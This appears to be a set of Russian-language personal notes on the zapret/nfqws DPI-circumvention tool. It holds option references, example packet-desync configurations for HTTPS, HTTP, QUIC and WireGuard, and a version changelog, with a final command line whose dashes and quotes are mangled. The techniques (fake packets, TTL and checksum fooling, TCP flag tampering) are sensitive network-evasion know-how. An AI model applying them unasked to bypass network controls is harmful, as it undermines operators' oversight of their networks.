номеру больше или равно N --dup-cutoff=[n|d|s]N ; применять dup только в исходящих пакетах (n), пакетах данных (d), относительных sequence (s) по номеру меньше N --hostcase ; менять регистр заголовка "Host:" по умолчанию на "host:". --hostnospace ; убрать пробел после "Host:" и переместить его в конец значения "User-Agent:" для сохранения длины пакета --methodeol ; добавить перевод строки в unix стиле ('\n') перед методом и убрать пробел из Host: : "GET / ... Host: domain.com" => "\nGET / ... Host:domain.com" --hostspell=HoST ; точное написание заголовка Host (можно "HOST" или "HoSt"). автоматом включает --hostcase --domcase ; домен после Host: сделать таким : TeSt.cOm --ip-id=seq|seqgroup|rnd|zero ; режим назначения ip_id для генерированных пакетов --dpi-desync=[,][, ; бит fwmark для пометки десинхронизирующих пакетов, чтобы они повторно не падали в очередь. default = 0x40000000 --dpi-desync-ttl= ; установить ttl для десинхронизирующих пакетов --dpi-desync-ttl6= ; установить ipv6 hop limit для десинхронизирующих пакетов. если не указано, используется значение --dpi-desync-ttl --dpi-desync-autottl=[[:[-]]|-] ; режим auto ttl для ipv4 и ipv6. по умолчанию: 1:3-20. "0:0-0" или "-" отключает функцию --dpi-desync-autottl6=[[:[-]]|-] ; переопределение предыдущего параметра для ipv6 --dpi-desync-tcp-flags-set= ; устанавливать указанные tcp флаги (flags |= value). число , либо список через запятую : FIN,SYN,RST,PSH,ACK,URG,ECE,CWR,AE,R1,R2,R3 --dpi-desync-tcp-flags-unset= ; удалять указанные tcp флаги (flags &= ~value) --dpi-desync-fooling= ; дополнительные методики как сделать, чтобы фейковый пакет не дошел до сервера. none md5sig badseq badsum datanoack ts hopbyhop hopbyhop2 --dpi-desync-repeats= ; посылать каждый генерируемый в nfqws пакет N раз (не влияет на остальные пакеты) --dpi-desync-skip-nosni=0|1 ; 1(default)=не применять dpi desync для запросов без hostname в SNI, в частности для ESNI --dpi-desync-split-pos=N|-N|marker+N|marker-N ; список через запятую маркеров для tcp сегментации в режимах split и disorder --dpi-desync-split-seqovl=N|-N|marker+N|marker-N ; единичный маркер, определяющий величину перекрытия sequence в режимах split и disorder. для split поддерживается только положительное число. --dpi-desync-split-seqovl-pattern=[+ofs]@|0xHEX ; чем заполнять фейковую часть overlap --dpi-desync-fakedsplit-pattern=[+ofs]@|0xHEX ; чем заполнять фейки в fakedsplit/fakeddisorder --dpi-desync-fakedsplit-mod=mod[,mod] ; может быть none, altorder=0|1|2|3 + 0|8|16 --dpi-desync-hostfakesplit-midhost=marker+N|marker-N ; маркер дополнительного разреза сегмента с оригинальным хостом. должен попадать в пределы хоста. --dpi-desync-hostfakesplit-mod=mod[,mod] ; может быть none, host=, altorder=0|1 --dpi-desync-ts-increment= ; инкремент TSval для ts. по умолчанию -600000 --dpi-desync-badseq-increment= ; инкремент sequence number для badseq. по умолчанию -10000 --dpi-desync-badack-increment= ; инкремент ack sequence number для badseq. по умолчанию -66000 --dpi-desync-any-protocol=0|1 ; 0(default)=работать только по http request и tls clienthello 1=по всем непустым пакетам данных --dpi-desync-fake-tcp-mod=mod[,mod] ; список через запятую режимов runtime модификации tcp фейков (любых) : none, seq --dpi-desync-fake-http=[+ofs]@|0xHEX ; файл, содержащий фейковый http запрос для dpi-desync=fake, на замену стандартному www.iana.org --dpi-desync-fake-tls=[+ofs]@|0xHEX|![+offset] ; файл, содержащий фейковый tls clienthello для dpi-desync=fake, на замену стандартному. '!' = стандартный фейк --dpi-desync-fake-tls-mod=mod[,mod] ; список через запятую режимов runtime модификации фейков : none,rnd,rndsni,sni=,dupsid,padencap --dpi-desync-fake-unknown=[+ofs]@|0xHEX ; файл, содержащий фейковый пейлоад неизвестного протокола для dpi-desync=fake, на замену стандартным нулям 256 байт --dpi-desync-fake-syndata=[+ofs]@|0xHEX ; файл, содержащий фейковый пейлоад пакета SYN для режима десинхронизации syndata --dpi-desync-fake-quic=[+ofs]@|0xHEX ; файл, содержащий фейковый QUIC Initial --dpi-desync-fake-wireguard=[+ofs]@|0xHEX ; файл, содержащий фейковый wireguard handshake initiation --dpi-desync-fake-dht=[+ofs]@|0xHEX ; файл, содержащий фейковый пейлоад DHT протокола для dpi-desync=fake, на замену стандартным нулям 64 байт --dpi-desync-fake-discord=[+ofs]@|0xHEX ; файл, содержащий фейковый пейлоад Discord протокола нахождения IP адреса для голосовых чатов для dpi-desync=fake, на замену стандартным нулям 64 байт --dpi-desync-fake-stun=[+ofs]@|0xHEX ; файл, содержащий фейковый пейлоад STUN протокола для dpi-desync=fake, на замену стандартным нулям 64 байт --dpi-desync-fake-unknown-udp=[+ofs]@|0xHEX ; файл, содержащий фейковый пейлоад неизвестного udp протокола для dpi-desync=fake, на замену стандартным нулям 64 байт --dpi-desync-udplen-increment= ; на сколько увеличивать длину udp пейлоада в режиме udplen --dpi-desync-udplen-pattern=[+ofs]@|0xHEX ; чем добивать udp пакет в режиме udplen. по умолчанию - нули --dpi-desync-start=[n|d|s]N ; применять dpi desync только в исходящих пакетах (n), пакетах данных (d), относительных sequence (s) по номеру больше или равно N --dpi-desync-cutoff=[n|d|s]N ; применять dpi desync только в исходящих пакетах (n), пакетах данных (d), относительных sequence (s) по номеру меньше N --hostlist= ; действовать только над доменами, входящими в список из filename. поддомены автоматически учитываются, если хост не начинается с '^'. ; в файле должен быть хост на каждой строке. ; список читается при старте и хранится в памяти в виде иерархической структуры для быстрого поиска. ; при изменении времени модификации файла он перечитывается автоматически по необходимости ; список может быть запакован в gzip. формат автоматически распознается и разжимается ; списков может быть множество. пустой общий лист = его отсутствие ; хосты извлекаются из Host: хедера обычных http запросов и из SNI в TLS ClientHello. --hostlist-domains= ; фиксированный список доменов через зяпятую. можно использовать # в начале для комментирования отдельных доменов. --hostlist-exclude= ; не применять дурение к доменам из листа. может быть множество листов. схема аналогична include листам. --hostlist-exclude-domains= ; фиксированный список доменов через зяпятую. можно использовать # в начале для комментирования отдельных доменов. --hostlist-auto= ; обнаруживать автоматически блокировки и заполнять автоматический hostlist (требует перенаправления входящего трафика) --hostlist-auto-fail-threshold= ; сколько раз нужно обнаружить ситуацию, похожую на блокировку, чтобы добавить хост в лист (по умолчанию: 3) --hostlist-auto-fail-time= ; все эти ситуации должны быть в пределах указанного количества секунд (по умолчанию: 60) --hostlist-auto-retrans-threshold= ; сколько ретрансмиссий запроса считать блокировкой (по умолчанию: 3) --hostlist-auto-debug= ; лог положительных решений по autohostlist. позволяет разобраться почему там появляются хосты. --new ; начало новой стратегии (новый профиль) --skip ; не использовать этот профиль . полезно для временной деактивации профиля без удаления параметров. --filter-l3=ipv4|ipv6 ; фильтр версии ip для текущей стратегии --filter-tcp=[~]port1[-port2]|* ; фильтр портов tcp для текущей стратегии. ~ означает инверсию. установка фильтра tcp и неустановка фильтра udp запрещает udp. поддерживается список через запятую. --filter-udp=[~]port1[-port2]|* ; фильтр портов udp для текущей стратегии. ~ означает инверсию. установка фильтра udp и неустановка фильтра tcp запрещает tcp. поддерживается список через запятую. --filter-l7= ; фильтр протокола L6-L7. поддерживается несколько значений через запятую. proto : http tls quic wireguard dht discord stun unknown --filter-ssid=ssid1[,ssid2,ssid3,...] ; фильтр по имени wifi сети (только для linux) --ipset= ; включающий ip list. на каждой строчке ip или cidr ipv4 или ipv6. поддерживается множество листов и gzip. перечитка автоматическая. --ipset-ip= ; фиксированный список подсетей через запятую. можно использовать # в начале для комментирования отдельных подсетей. --ipset-exclude= ; исключающий ip list. на каждой строчке ip или cidr ipv4 или ipv6. поддерживается множество листов и gzip. перечитка автоматическая. --ipset-exclude-ip= ; фиксированный список подсетей через запятую. можно использовать # в начале для комментирования отдельных подсетей. ``` # 📚 Справочник параметров nfqws v72.2 ## 🔧 Базовые параметры ### Конфигурация и управление ```bash @ | $ # Загрузить конфиг из файла (должно быть первым) --debug=0|1 # Отладочные сообщения --dry-run # Проверить параметры и выйти --version # Показать версию --comment # Комментарий (игнорируется) --daemon # Запустить как демон --pidfile= # Файл PID --user= # Сменить пользователя --uid=uid[:gid] # Сменить UID:GID --qnum=N # Номер NFQUEUE ``` ### Системные настройки ```bash --bind-fix4 # Фикс выбора интерфейса IPv4 --bind-fix6 # Фикс выбора интерфейса IPv6 --ctrack-timeouts=S:E:F[:U] # Таймауты conntrack (по умолч: 60:300:60:60) --ctrack-disable=[0|1] # Отключить conntrack --ipcache-lifetime= # Время жизни IP-кэша (сек), 0=∞ --ipcache-hostname=[0|1] # Кэшировать имена хостов ``` --- ## 🎯 Модификация оригинальных пакетов (orig) ```bash --orig-ttl= # TTL для IPv4 --orig-ttl6= # Hop limit для IPv6 --orig-autottl=[[:[-]]|-] # AutoTTL IPv4/6 (дефолт: +5:3-64) --orig-autottl6=[...] # AutoTTL только для IPv6 --orig-tcp-flags-set= 🆕 # Установить TCP флаги --orig-tcp-flags-unset= 🆕 # Снять TCP флаги --orig-mod-start=[n|d|s]N # Начать модификацию с пакета N --orig-mod-cutoff=[n|d|s]N # Прекратить модификацию после пакета N ``` --- ## 👥 Дубликаты пакетов (dup) ```bash --dup= # Количество дубликатов --dup-replace=[0|1] # Отправлять только дубликаты (блокировать оригинал) --dup-ttl= # TTL для дубликатов --dup-ttl6= # Hop limit для дубликатов IPv6 --dup-autottl=[[:[-]]|-] # AutoTTL (дефолт: +1:3-64) --dup-autottl6=[...] # AutoTTL для IPv6 --dup-tcp-flags-set= 🆕 # Установить TCP флаги --dup-tcp-flags-unset= 🆕 # Снять TCP флаги --dup-fooling= # Метод "обмана": md5sig, badseq, badsum, datanoack, ts, hopbyhop, hopbyhop2 --dup-ts-increment= # Инкремент TSval (дефолт: -600000) --dup-badseq-increment= # Инкремент SEQ (дефолт: -10000) --dup-badack-increment= # Инкремент ACK (дефолт: -66000) --dup-ip-id=same|zero|seq|rnd 🆕 # Режим назначения IP_ID --dup-start=[n|d|s]N # Начать с пакета N --dup-cutoff=[n|d|s]N # Прекратить после пакета N ``` --- ## 🛡️ DPI Desync (основные параметры) ### Режимы десинхронизации ```bash --dpi-desync=[mode0,]mode[,mode2] ``` **Режимы TCP:** `synack`, `syndata`, `fake`, `fakeknown`, `rst`, `rstack`, `multisplit`, `multidisorder`, `fakedsplit`, `hostfakesplit`, `fakeddisorder`, `ipfrag1`, `ipfrag2`, `hopbyhop`, `destopt` **Режимы UDP:** `udplen`, `tamper` ### TTL и автоматика ```bash --dpi-desync-ttl= # TTL для десинхронизирующих пакетов --dpi-desync-ttl6= # Hop limit IPv6 --dpi-desync-autottl=[[:[-]]|-] # AutoTTL (дефолт: 1:3-20) --dpi-desync-autottl6=[...] # AutoTTL для IPv6 --dpi-desync-tcp-flags-set= 🆕 # Установить TCP флаги --dpi-desync-tcp-flags-unset= 🆕 # Снять TCP флаги ``` ### Методы "обмана" фейков ```bash --dpi-desync-fooling= # none, md5sig, badseq, badsum, datanoack, ts, hopbyhop, hopbyhop2 --dpi-desync-repeats= # Повторять каждый фейк N раз --dpi-desync-skip-nosni=0|1 # Пропускать ESNI (дефолт: 1) ``` ### TCP сегментация ```bash --dpi-desync-split-pos=N|-N|marker+N|marker-N # Позиции разреза --dpi-desync-split-seqovl=N|-N|marker+N|marker-N # Величина sequence overlap --dpi-desync-split-seqovl-pattern=[+ofs]@file|0xHEX # Чем заполнять overlap ``` **Маркеры:** `method`, `host`, `endhost`, `sld`, `endsld`, `midsld`, `sniext` ### Модификации для split режимов ```bash --dpi-desync-fakedsplit-pattern=[+ofs]@file|0xHEX # Паттерн фейков --dpi-desync-fakedsplit-mod=mod[,mod] # altorder=0-3 + 0|8|16 --dpi-desync-hostfakesplit-midhost=marker±N # Доп. разрез в хосте --dpi-desync-hostfakesplit-mod=mod[,mod] # host=, altorder=0|1 ``` ### Инкременты для fooling ```bash --dpi-desync-ts-increment= # TSval (дефолт: -600000) --dpi-desync-badseq-increment= # SEQ (дефолт: -10000) --dpi-desync-badack-increment= # ACK (дефолт: -66000) ``` ### Протоколы и фейки ```bash --dpi-desync-any-protocol=0|1 # 1=работать со всеми протоколами --dpi-desync-fake-tcp-mod=mod[,mod] # seq ``` #### Фейковые пейлоады ```bash --dpi-desync-fake-http=[+ofs]@file|0xHEX --dpi-desync-fake-tls=[+ofs]@file|0xHEX|![+ofs] --dpi-desync-fake-tls-mod=mod[,mod] # none, rnd, rndsni, sni=, dupsid, padencap --dpi-desync-fake-unknown=[+ofs]@file|0xHEX --dpi-desync-fake-syndata=[+ofs]@file|0xHEX --dpi-desync-fake-quic=[+ofs]@file|0xHEX --dpi-desync-fake-wireguard=[+ofs]@file|0xHEX --dpi-desync-fake-dht=[+ofs]@file|0xHEX --dpi-desync-fake-discord=[+ofs]@file|0xHEX --dpi-desync-fake-stun=[+ofs]@file|0xHEX --dpi-desync-fake-unknown-udp=[+ofs]@file|0xHEX ``` ### UDP специфичное ```bash --dpi-desync-udplen-increment= # Увеличение длины UDP --dpi-desync-udplen-pattern=[+ofs]@file|0xHEX # Чем добивать пакет ``` ### Ограничители применения ```bash --dpi-desync-start=[n|d|s]N # Начать с пакета N --dpi-desync-cutoff=[n|d|s]N # Прекратить после пакета N --dpi-desync-fwmark= # Метка fwmark (дефолт: 0x40000000) ``` --- ## 🌐 Модификации HTTP/TLS заголовков ```bash --hostcase # "Host:" → "host:" --hostnospace # Убрать пробел после "Host:" --methodeol # Добавить \n перед методом --hostspell=HoST # Точное написание "Host" --domcase # Домен: example.com → ExAmPlE.cOm ``` --- ## 📊 Window Size ```bash --wsize=[:] # В SYN,ACK (устарело!) --wssize=[:] # В исходящих пакетах --wssize-cutoff=[n|d|s]N # Прекратить изменение после пакета N --wssize-forced-cutoff=0|1 🆕 # 1=авто-отключение при HTTP/TLS (дефолт) ``` --- ## 🎭 Режим назначения IP_ID ```bash --ip-id=seq|seqgroup|rnd|zero # Для всех генерируемых пакетов --dup-ip-id=same|zero|seq|rnd 🆕 # Для дубликатов (дефолт: same) ``` --- ## 📋 Фильтрация и листы ### Хост-листы ```bash --hostlist= # Включающий список доменов --hostlist-domains= # Фикс. список доменов --hostlist-exclude= # Исключающий список --hostlist-exclude-domains= # Фикс. список исключений ``` ### Автоматический hostlist ```bash --hostlist-auto= # Автообнаружение блокировок --hostlist-auto-fail-threshold= # Порог срабатывания (дефолт: 3) --hostlist-auto-fail-time= # Временное окно (дефолт: 60 сек) --hostlist-auto-retrans-threshold= # Порог ретрансмиссий (дефолт: 3) --hostlist-auto-debug= # Лог решений ``` ### IP-листы ```bash --ipset= # Включающий IP/CIDR список --ipset-ip= # Фикс. список подсетей --ipset-exclude= # Исключающий список --ipset-exclude-ip= # Фикс. список исключений ``` --- ## 🔀 Профили и фильтры ### Управление профилями ```bash --new # Начать новый профиль --skip # Пропустить профиль ``` ### Фильтры ```bash --filter-l3=ipv4|ipv6 # По версии IP --filter-tcp=[~]port[-port]|* # По TCP портам --filter-udp=[~]port[-port]|* # По UDP портам --filter-l7= # По протоколу L7: http, tls, quic, wireguard, dht, discord, stun, unknown --filter-ssid=ssid1,ssid2 # По WiFi SSID (только Linux) ``` --- ## 🆕 Новое в [[Zapret v72.2]] 1. **`--wssize-forced-cutoff=0|1`** - контроль авто-отключения wssize 2. **Манипуляция TCP флагами:** - `--orig-tcp-flags-set/unset` - `--dup-tcp-flags-set/unset` - `--dpi-desync-tcp-flags-set/unset` - Формат: число, 0xHEX или список: `FIN,SYN,RST,PSH,ACK,URG,ECE,CWR,AE,R1,R2,R3` 3. **`--dup-ip-id=same|zero|seq|rnd`** - режим IP_ID для дубликатов --- ## 💡 Подсказки ### Форматы параметров: - `[n|d|s]N` - n=номер пакета, d=пакет данных, s=sequence number - `marker±N` - относительная позиция от маркера - `[+ofs]@file|0xHEX` - данные из файла со смещением или hex-строка - `#` в начале домена/IP - комментарий (игнорируется) ### TCP флаги (12 бит): - Стандартные: FIN, SYN, RST, PSH, ACK, URG, ECE, CWR - Reserved: **AE** (Accurate ECN), **R1, R2, R3** # 🔀 Разделение параметров nfqws по типам трафика ## 🔐 HTTPS (TLS over TCP, порт 443) ### Основные режимы десинхронизации ```bash --dpi-desync=fake,split # Фейковый TLS ClientHello + сегментация --dpi-desync=fakedsplit # Замешивание фейков и оригинала --dpi-desync=multisplit # Нарезка на несколько сегментов --dpi-desync=multidisorder # Нарезка + обратный порядок --dpi-desync=hostfakesplit # Фейк только на имени хоста (SNI) ``` ### Позиции разреза (специфичные для TLS) ```bash --dpi-desync-split-pos=sni # Разрез в начале SNI extension --dpi-desync-split-pos=sniext # Разрез в начале данных SNI --dpi-desync-split-pos=host # Разрез в начале hostname в SNI --dpi-desync-split-pos=midsld # Разрез в середине домена 2-го уровня --dpi-desync-split-pos=sld # Разрез в начале SLD ``` ### Фейковые пейлоады для TLS ```bash --dpi-desync-fake-tls=@tls_clienthello.bin # Кастомный TLS ClientHello --dpi-desync-fake-tls=! # Стандартный фейк --dpi-desync-fake-tls=0xHEX # Hex-данные # Модификации TLS фейков --dpi-desync-fake-tls-mod=rnd # Рандомизировать random и session_id --dpi-desync-fake-tls-mod=rndsni # Случайный SNI --dpi-desync-fake-tls-mod=dupsid # Копировать session_id из оригинала --dpi-desync-fake-tls-mod=sni=google.com # Заменить SNI --dpi-desync-fake-tls-mod=padencap # Инкапсулировать в padding extension --dpi-desync-fake-tls-mod=rnd,dupsid,rndsni # Комбинация (по умолч.) ``` ### Фильтры для HTTPS ```bash --filter-tcp=443 # Только порт 443 --filter-l7=tls # Только TLS протокол --dpi-desync-skip-nosni=1 # Пропускать ESNI (по умолч.) ``` ### Типичные конфигурации для HTTPS ```bash # Вариант 1: Простой split на SNI --filter-tcp=443 --dpi-desync=split --dpi-desync-split-pos=sniext # Вариант 2: Фейк + split с TTL --filter-tcp=443 --dpi-desync=fake,split \ --dpi-desync-fooling=badsum --dpi-desync-split-pos=midsld # Вариант 3: AutoTTL фейк --filter-tcp=443 --dpi-desync=fake,multisplit \ --dpi-desync-autottl=2 --dpi-desync-split-pos=sniext,midsld # Вариант 4: Disorder с кастомным SNI --filter-tcp=443 --dpi-desync=fake,multidisorder \ --dpi-desync-fake-tls-mod=sni=ya.ru --dpi-desync-split-pos=midsld ``` --- ## 🌐 HTTP (plain HTTP over TCP, порт 80) ### Основные режимы ```bash --dpi-desync=split # Простая сегментация --dpi-desync=multisplit # Множественная нарезка --dpi-desync=fake,split # Фейк + сегментация --dpi-desync=hostfakesplit # Фейк на Host: заголовке ``` ### Позиции разреза (специфичные для HTTP) ```bash --dpi-desync-split-pos=method # В начале метода (GET, POST) --dpi-desync-split-pos=method+2 # После "GET" -> "GE|T /" --dpi-desync-split-pos=host # В начале значения Host: --dpi-desync-split-pos=midsld # В середине домена --dpi-desync-split-pos=3 # После 3-го байта: "GET| /" ``` ### Модификация HTTP заголовков ```bash --hostcase # "Host:" → "host:" --hostspell=HoSt # Точное написание --hostnospace # Убрать пробел после Host: --domcase # example.com → ExAmPlE.cOm --methodeol # \n перед методом ``` ### Фейковые пейлоады для HTTP ```bash --dpi-desync-fake-http=@fake_request.txt # Кастомный HTTP запрос --dpi-desync-fake-http=0x474554202F20485454... # Hex-данные # По умолчанию: GET / HTTP/1.1\r\nHost: www.iana.org\r\n\r\n ``` ### Фильтры для HTTP ```bash --filter-tcp=80 # Только порт 80 --filter-l7=http # Только HTTP протокол ``` ### Типичные конфигурации для HTTP ```bash # Вариант 1: Split после метода --filter-tcp=80 --dpi-desync=split --dpi-desync-split-pos=method+2 # Вариант 2: Смена регистра + split --filter-tcp=80 --hostcase --dpi-desync=split --dpi-desync-split-pos=host # Вариант 3: Фейк с TTL --filter-tcp=80 --dpi-desync=fake,split \ --dpi-desync-ttl=4 --dpi-desync-split-pos=midsld # Вариант 4: Модификация заголовков --filter-tcp=80 --hostcase --domcase --methodeol ``` --- ## 🔌 TCP (прочий TCP трафик) ### Когда применяется ```bash --dpi-desync-any-protocol=1 # Работать со ВСЕМИ TCP пакетами ``` ⚠️ **Внимание:** Без этого флага desync работает только с HTTP/TLS! ### Подходящие режимы для любого TCP ```bash --dpi-desync=syndata # Данные в SYN пакете --dpi-desync=synack # Модификация handshake --dpi-desync=multisplit # Универсальная сегментация --dpi-desync=fake,split # Фейк + split ``` ### Позиции разреза (универсальные) ```bash --dpi-desync-split-pos=1 # После 1-го байта --dpi-desync-split-pos=2 # После 2-го байта --dpi-desync-split-pos=-1 # Последний байт --dpi-desync-split-pos=10,20,30 # Множественные позиции ``` ### Фейковые пейлоады для неизвестных протоколов ```bash --dpi-desync-fake-unknown=@payload.bin # Кастомный пейлоад --dpi-desync-fake-unknown=0x0000... # Hex (256 байт по умолч.) ``` ### Sequence overlap (для любого TCP) ```bash --dpi-desync-split-seqovl=10 # Перекрытие на 10 байт --dpi-desync-split-seqovl-pattern=0x41414141 # Чем заполнять overlap ``` ### Фильтры для прочего TCP ```bash --filter-tcp=* # Все TCP порты --filter-tcp=~80,443 # Все КРОМЕ 80 и 443 --filter-tcp=22,3389 # Конкретные порты (SSH, RDP) --filter-l7=unknown # Неизвестные протоколы ``` ### Типичные конфигурации для TCP ```bash # Вариант 1: SSH, VPN через TCP --filter-tcp=22 --dpi-desync=split --dpi-desync-split-pos=2 \ --dpi-desync-any-protocol=1 # Вариант 2: Все TCP кроме HTTP/HTTPS --filter-tcp=~80,443 --dpi-desync=fake,split \ --dpi-desync-any-protocol=1 --dpi-desync-split-pos=1 # Вариант 3: SYN data для быстрых соединений --filter-tcp=* --dpi-desync=syndata \ --dpi-desync-fake-syndata=@payload.bin ``` --- ## 📡 UDP ### Режимы десинхронизации для UDP ```bash --dpi-desync=udplen # Увеличить длину UDP пакета --dpi-desync=tamper # Испортить пакет --dpi-desync=fake # Фейковый UDP пакет --dpi-desync=ipfrag2 # IP фрагментация ``` ### UDP длина (udplen) ```bash --dpi-desync-udplen-increment=2 # Увеличить длину на 2 байта --dpi-desync-udplen-pattern=0x0000 # Чем добивать (по умолч. нули) ``` ### Фейковые пейлоады для UDP протоколов ```bash # QUIC (HTTP/3) --dpi-desync-fake-quic=@quic_initial.bin --filter-l7=quic --filter-udp=443 # WireGuard VPN --dpi-desync-fake-wireguard=@wg_handshake.bin --filter-l7=wireguard --filter-udp=51820 # DHT (torrents) --dpi-desync-fake-dht=@dht_payload.bin --filter-l7=dht # Discord голосовой чат --dpi-desync-fake-discord=@discord_payload.bin --filter-l7=discord # STUN (WebRTC, VoIP) --dpi-desync-fake-stun=@stun_payload.bin --filter-l7=stun # Неизвестный UDP --dpi-desync-fake-unknown-udp=@payload.bin --filter-l7=unknown ``` ### Фильтры для UDP ```bash --filter-udp=443 # QUIC (HTTP/3) --filter-udp=53 # DNS --filter-udp=51820 # WireGuard --filter-udp=* # Все UDP --filter-l7=quic,wireguard,stun # Несколько протоколов ``` ### Типичные конфигурации для UDP ```bash # Вариант 1: QUIC (YouTube, Google) --filter-udp=443 --filter-l7=quic \ --dpi-desync=fake --dpi-desync-repeats=6 \ --dpi-desync-fake-quic=@quic_initial.bin # Вариант 2: WireGuard VPN --filter-udp=51820 --filter-l7=wireguard \ --dpi-desync=fake,udplen \ --dpi-desync-udplen-increment=2 # Вариант 3: Все UDP с увеличением длины --filter-udp=* --dpi-desync=udplen \ --dpi-desync-udplen-increment=1 # Вариант 4: DNS через UDP --filter-udp=53 --dpi-desync=fake \ --dpi-desync-ttl=1 ``` --- ## 📊 Сравнительная таблица | Параметр | HTTPS | HTTP | TCP | UDP | |----------|-------|------|-----|-----| | **Основной порт** | 443 | 80 | * | * | | **Фильтр L7** | `tls` | `http` | `unknown` | `quic`, `wireguard`, etc. | | **Лучший режим** | `fake,split` | `split` | `syndata` | `fake,udplen` | | **Маркеры split** | `sniext`, `midsld` | `method+2`, `host` | Числа | - | | **Фейки** | `--fake-tls` | `--fake-http` | `--fake-unknown` | `--fake-quic`, etc. | | **Модификации** | `--fake-tls-mod` | `--hostcase` | - | `--udplen-increment` | | **any-protocol** | Не нужен | Не нужен | **Обязателен!** | - | --- ## 🎯 Готовые профили (многопрофильная конфигурация) ### Полная конфигурация для всех типов трафика ```bash # Профиль 1: HTTPS --filter-tcp=443 --filter-l7=tls \ --dpi-desync=fake,multisplit \ --dpi-desync-split-pos=sniext,midsld \ --dpi-desync-fooling=badsum \ --dpi-desync-fake-tls-mod=rnd,dupsid # Профиль 2: HTTP --new \ --filter-tcp=80 --filter-l7=http \ --hostcase --domcase \ --dpi-desync=split \ --dpi-desync-split-pos=method+2 # Профиль 3: QUIC (YouTube) --new \ --filter-udp=443 --filter-l7=quic \ --dpi-desync=fake \ --dpi-desync-repeats=6 # Профиль 4: Прочий TCP --new \ --filter-tcp=~80,443 \ --dpi-desync=split \ --dpi-desync-split-pos=2 \ --dpi-desync-any-protocol=1 # Профиль 5: WireGuard --new \ --filter-udp=51820 --filter-l7=wireguard \ --dpi-desync=fake,udplen \ --dpi-desync-udplen-increment=2 ``` --- ## 💡 Ключевые отличия ### HTTPS vs HTTP - **HTTPS**: Работает с бинарным TLS, нужны `sni*` маркеры, `--fake-tls-mod` - **HTTP**: Работает с текстом, можно менять регистр (`--hostcase`), маркеры `method`, `host` ### TCP vs UDP - **TCP**: Sequence numbers, сегментация, syn/ack манипуляции - **UDP**: Без состояния, `udplen`, специфичные фейки для протоколов ### Известные vs неизвестные протоколы - **HTTP/TLS**: Автоопределение, маркеры работают - **Прочие**: Нужен `--dpi-desync-any-protocol=1`, только числовые позиции split --- --- tags: aliases: img: --- # 🆕 Новое в zapret v72.2 ## 1. **`--wssize-forced-cutoff=0|1`** ### Отключение автоматического прекращения изменения Window Size **Что это:** - По умолчанию (=1) nfqws автоматически прекращает менять TCP window size после обнаружения HTTP request или TLS Client Hello - Установка в `0` отключает эту автоматику **Зачем нужно:** - Иногда требуется продолжать "дурить" DPI даже после Client Hello - Полезно, когда нужно ограничиваться только `--wssize-cutoff` или connbytes вместо автоматики --- ## 2. **Манипуляции TCP флагами** ### Новые параметры для всех режимов **Параметры:** ```bash --dpi-desync-tcp-flags-set=<значение> --dpi-desync-tcp-flags-unset=<значение> --orig-tcp-flags-set=<значение> --orig-tcp-flags-unset=<значение> --dup-tcp-flags-set=<значение> --dup-tcp-flags-unset=<значение> ``` **Формат значений:** - Десятичное число - 0xHEX число (12 бит) - Список флагов через запятую: `FIN,SYN,RST,PSH,ACK,URG,ECE,CWR,AE,R1,R2,R3` **Флаги:** - Стандартные: `FIN, SYN, RST, PSH, ACK, URG, ECE, CWR` - `AE` - Accurate ECN (из зарезервированных битов) - `R1, R2, R3` - пока не задействованные резервные биты **Применение:** - Установка инвалидных комбинаций флагов для обмана DPI - Например: установка SYN в фейках - Альтернатива `datanoack`: `--dpi-desync-tcp-flags-unset=ACK` ⚠️ **Важно:** Может сломать NAT (особенно Linux-based). Для проходящего трафика могут потребоваться nftables. --- ## 3. **`--dup-ip-id=same|zero|seq|rnd`** ### Режим назначения IP_ID для дубликатов **Режимы:** - `same` - оставить тем же (по умолчанию) - `zero` - ip_id=0 - `seq` - последовательный инкремент - `rnd` - случайный **Аналогично параметру `--ip-id`**, но применяется конкретно к дубликатам (`--dup`). --- ## 💡 Итого Версия 72.2 добавляет: 1. Более гибкий контроль изменения Window Size 2. Мощный инструмент манипуляции TCP флагами (12 бит) 3. Управление IP_ID для дубликатов Эти возможности дают больше вариантов обхода продвинутых DPI, которые анализируют аномалии в TCP флагах и IP_ID последовательностях. --- --- tags: aliases: img: --- ```embed title: "Flowseal zapret-discord-youtube · Discussions" image: "https://opengraph.githubassets.com/39d2f0ca82fd07d3fb913f362ec5e5d2975d94f67b14e96b73ae0634879f8801/Flowseal/zapret-discord-youtube" description: "Explore the GitHub Discussions forum for Flowseal zapret-discord-youtube. Discuss code, ask questions & collaborate with the developer community." url: "https://github.com/Flowseal/zapret-discord-youtube/discussions" favicon: "" aspectRatio: "50" ``` ## YTDisBystro [[YTDisBystro_v3.5]] ## [[Dronatar]] ## [[Youtube + Discord]] [[ipset-ovh.txt]] [[LordSlon]] [[telegram calls]] --- --- tags: - zapret aliases: --- ```base views: - type: table name: Table filters: and: - file.inFolder("Zapret/ToDo") order: - file.name - tags columnSize: file.name: 488 ``` ## [[Privacy]] [[windivert]] [[ZapretTeam]] [[Zapret flags]] [[Ошибка запуска - Не удалось запустить DPI]] [[premium]] [[Как пользоваться Zapret]] [[ByeByeDPI - Что это такое]] [[Манифест Zapret]] [[ZapretVPN]] ## [[Zapret2]] [[circular]] [[android]] [[discord]] ### [[Дорожная карта]] | [[Zapret ссылки]] ```embed title: "Add batch files to manage ipsets by ekungurov · Pull Request #3448 · Flowseal/zapret-discord-youtube" image: "https://opengraph.githubassets.com/a25494058d39257330874556588cc1289f50ae8e6f2769452d6cef75f8109cd7/Flowseal/zapret-discord-youtube/pull/3448" description: "Разбил исходный ipset-all.txt на части. Добавил шелл скрипт для объединения частей в один большой файл. Разбиение сделано в качестве примера, файл ipset-other.txt всё ещё большой. Особенно после св..." url: "https://github.com/Flowseal/zapret-discord-youtube/pull/3448" favicon: "https://github.githubassets.com/favicons/favicon-dark.svg" aspectRatio: "50" parser: "local" date: "2025-10-05" custom_date: "2025-10-05 19:54:42" ``` ```base views: - type: table name: Table filters: and: - file.inFolder("Notes/Privacy/Zapret") order: - file.name - file.tags columnSize: file.name: 634 ``` ```bash –wf-tcp=80,443 --wf-udp=443,50000-50099 ^ –filter-tcp=80 --dpi-desync=fake -dpi-desync-ttl=2 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=0x80000000 --new ^ –filter-tcp=443 --hostlist=“list-youtube.txt” --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=11 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls=“tls_clienthello_www_google_com.bin” --new ^ –filter-udp=443 --hostlist=“list-youtube.txt” --dpi-desync=fake -dpi-desync-ttl=4 